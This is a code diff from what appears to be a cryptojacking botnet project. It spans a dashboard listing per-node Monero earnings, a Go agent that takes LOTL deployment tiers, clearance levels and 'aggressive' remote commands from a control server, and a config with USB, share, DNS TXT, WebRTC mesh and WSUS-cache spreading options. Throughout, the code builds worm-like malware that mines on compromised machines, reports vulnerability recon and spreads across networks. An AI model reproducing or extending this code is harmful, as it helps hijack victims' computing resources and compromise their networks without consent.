<span className="roi-node-platform">{platformIcon(a.platform)}</span>
|
||||||
|
<span style={{ fontSize: '0.65rem', color: 'var(--text-muted)' }}>{a.platform ?? '—'}</span>
|
||||||
|
</td>
|
||||||
|
<td className="roi-node-hr">{hr > 0 ? formatHashrate(hr) : <span style={{ color: 'var(--text-muted)' }}>—</span>}</td>
|
||||||
|
<td style={{ fontFamily: 'monospace', fontSize: '0.7rem', color: '#ffb020' }}>
|
||||||
|
{nodeXmrDay > 0 ? nodeXmrDay.toFixed(6) : '—'}
|
||||||
|
</td>
|
||||||
|
<td className="roi-node-usd">{nodeUsdDay > 0 ? fmtUSD(nodeUsdDay) : '—'}</td>
|
||||||
|
<td style={{ fontFamily: 'monospace', fontSize: '0.72rem', color: nodeNet >= 0 ? '#39ff14' : '#ff6b6b' }}>
|
||||||
|
{nodeUsdDay > 0 ? fmtUSD(nodeNet) : '—'}
|
||||||
|
</td>
|
||||||
|
<td>
|
||||||
|
<div className="roi-node-bar-wrap">
|
||||||
|
<div className="roi-node-bar-track">
|
||||||
|
<div className="roi-node-bar-fill" style={{ width: `${pct * 100}%` }} />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
<td>
|
||||||
|
<span className={`roi-eff-badge ${badge.cls}`}>{badge.label}</span>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
{nodeProfit.length > 25 && (
|
||||||
|
<p style={{ fontSize: '0.65rem', color: 'var(--text-muted)', marginTop: '0.5rem', fontFamily: 'monospace' }}>
|
||||||
|
… {nodeProfit.length - 25} more nodes
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -76,6 +76,7 @@ export interface WSStatsUpdate {
|
|||||||
/** LOTL tier label for spread telemetry badges. */
|
/** LOTL tier label for spread telemetry badges. */
|
||||||
lotl_tier?: string;
|
lotl_tier?: string;
|
||||||
lotl_attempts?: import('./lotl').TierAttempt[];
|
lotl_attempts?: import('./lotl').TierAttempt[];
|
||||||
|
atlas_skips?: { tier: string; condition: string; reason: string }[];
|
||||||
vuln_findings?: import('./recon').VulnFinding[];
|
vuln_findings?: import('./recon').VulnFinding[];
|
||||||
vuln_risk_score?: number;
|
vuln_risk_score?: number;
|
||||||
join_lane?: string;
|
join_lane?: string;
|
||||||
|
|||||||
@@ -62,11 +62,19 @@ type AgentClient struct {
|
|||||||
miningChain *MiningChainRunner
|
miningChain *MiningChainRunner
|
||||||
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
|
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
|
||||||
tierPolicy miner.MiningTierPolicy
|
tierPolicy miner.MiningTierPolicy
|
||||||
|
// adaptiveStrategy holds server reasoning trace for diagnostics/UI.
|
||||||
|
adaptiveStrategy AdaptiveStrategy
|
||||||
|
// atlasSkips are fleet-learned hard subtree blocks from the failure atlas.
|
||||||
|
atlasSkips []AtlasSkip
|
||||||
|
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
|
||||||
|
inheritedPhenotype *InheritedPhenotype
|
||||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||||
triplePolicy miner.TripleOnionPolicy
|
triplePolicy miner.TripleOnionPolicy
|
||||||
triplePolicyLoaded bool
|
triplePolicyLoaded bool
|
||||||
// joinLane is the last successful discover_and_join supply-chain lane.
|
// joinLane is the last successful discover_and_join supply-chain lane.
|
||||||
joinLane string
|
joinLane string
|
||||||
|
// clearanceLevel is the server-granted security clearance (L0–L4).
|
||||||
|
clearanceLevel int
|
||||||
|
|
||||||
// lastJobAt records when the most recent valid mining job was delivered.
|
// lastJobAt records when the most recent valid mining job was delivered.
|
||||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||||
@@ -382,6 +390,11 @@ func (c *AgentClient) authenticate() error {
|
|||||||
}
|
}
|
||||||
c.applyAuthLotlPolicy(resp)
|
c.applyAuthLotlPolicy(resp)
|
||||||
c.agentID = resp.AgentID
|
c.agentID = resp.AgentID
|
||||||
|
if resp.ClearanceLevel > 0 {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.clearanceLevel = resp.ClearanceLevel
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
|
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
|
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
|
||||||
@@ -479,6 +492,22 @@ func (c *AgentClient) handleMessage(msg Message) {
|
|||||||
}
|
}
|
||||||
case "policy_update":
|
case "policy_update":
|
||||||
go c.applyPolicyUpdate(msg.Payload)
|
go c.applyPolicyUpdate(msg.Payload)
|
||||||
|
case "adaptive_strategy_update":
|
||||||
|
c.applyAdaptiveStrategyJSON(msg.Payload)
|
||||||
|
case "ai_snapshot_request":
|
||||||
|
go func() {
|
||||||
|
hps := c.pool.HashesPerSecond()
|
||||||
|
c.pushAISnapshot(hps)
|
||||||
|
}()
|
||||||
|
case "clearance_update":
|
||||||
|
var payload struct {
|
||||||
|
ClearanceLevel int `json:"clearance_level"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(msg.Payload, &payload); err == nil && payload.ClearanceLevel >= 0 {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.clearanceLevel = payload.ClearanceLevel
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
case "command":
|
case "command":
|
||||||
var cmd struct {
|
var cmd struct {
|
||||||
Action string `json:"action"`
|
Action string `json:"action"`
|
||||||
@@ -498,6 +527,9 @@ func (c *AgentClient) handleMessage(msg Message) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) {
|
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) {
|
||||||
|
if c.handleAICommand(action, tailLines, command, path, data) {
|
||||||
|
return
|
||||||
|
}
|
||||||
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
|
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -1118,6 +1150,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
stats.StratumEgress = c.stratumEgress(false)
|
stats.StratumEgress = c.stratumEgress(false)
|
||||||
}
|
}
|
||||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||||
|
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
|
||||||
|
stats.AtlasSkips = atlasSkips
|
||||||
|
}
|
||||||
if lastVulnReport != nil {
|
if lastVulnReport != nil {
|
||||||
score := lastVulnReport.RiskScore
|
score := lastVulnReport.RiskScore
|
||||||
stats.VulnRiskScore = &score
|
stats.VulnRiskScore = &score
|
||||||
@@ -1142,6 +1177,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
|||||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||||
log.Printf("[agent] stats send failed: %v", err)
|
log.Printf("[agent] stats send failed: %v", err)
|
||||||
}
|
}
|
||||||
|
// Piggyback Fleet AI snapshot on the ~60s stats probe tick.
|
||||||
|
if probeTick%6 == 0 {
|
||||||
|
c.pushAISnapshot(stats.MiningHashrate)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
return BuiltinConfig{
|
return BuiltinConfig{
|
||||||
WorkerName: "dev-worker",
|
WorkerName: "dev-worker",
|
||||||
ServerURL: "http://127.0.0.1:8989",
|
ServerURL: "http://127.0.0.1:8989",
|
||||||
Wallet: "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3",
|
Wallet: "",
|
||||||
Threads: 4,
|
Threads: 4,
|
||||||
ThreadMode: "percent",
|
ThreadMode: "percent",
|
||||||
ThreadPercent: 75,
|
ThreadPercent: 75,
|
||||||
@@ -49,12 +49,15 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
USBSpread: false,
|
USBSpread: false,
|
||||||
ShareSpread: false,
|
ShareSpread: false,
|
||||||
GPUEnabled: false,
|
GPUEnabled: false,
|
||||||
RVNWallet: "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9",
|
RVNWallet: "",
|
||||||
RVNPoolHost: "rvn.2miners.com",
|
RVNPoolHost: "rvn.2miners.com",
|
||||||
RVNPoolPort: 6060,
|
RVNPoolPort: 6060,
|
||||||
RVNPoolTLS: false,
|
RVNPoolTLS: false,
|
||||||
RVNPoolPass: "x",
|
RVNPoolPass: "x",
|
||||||
LotlOnionEnabled: false,
|
LotlOnionEnabled: false,
|
||||||
LotlPolicyFromServer: false,
|
LotlPolicyFromServer: false,
|
||||||
|
DnsTxtSpread: true,
|
||||||
|
WebRTCMeshSpread: false,
|
||||||
|
WSUSCachePeerSpread: true,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user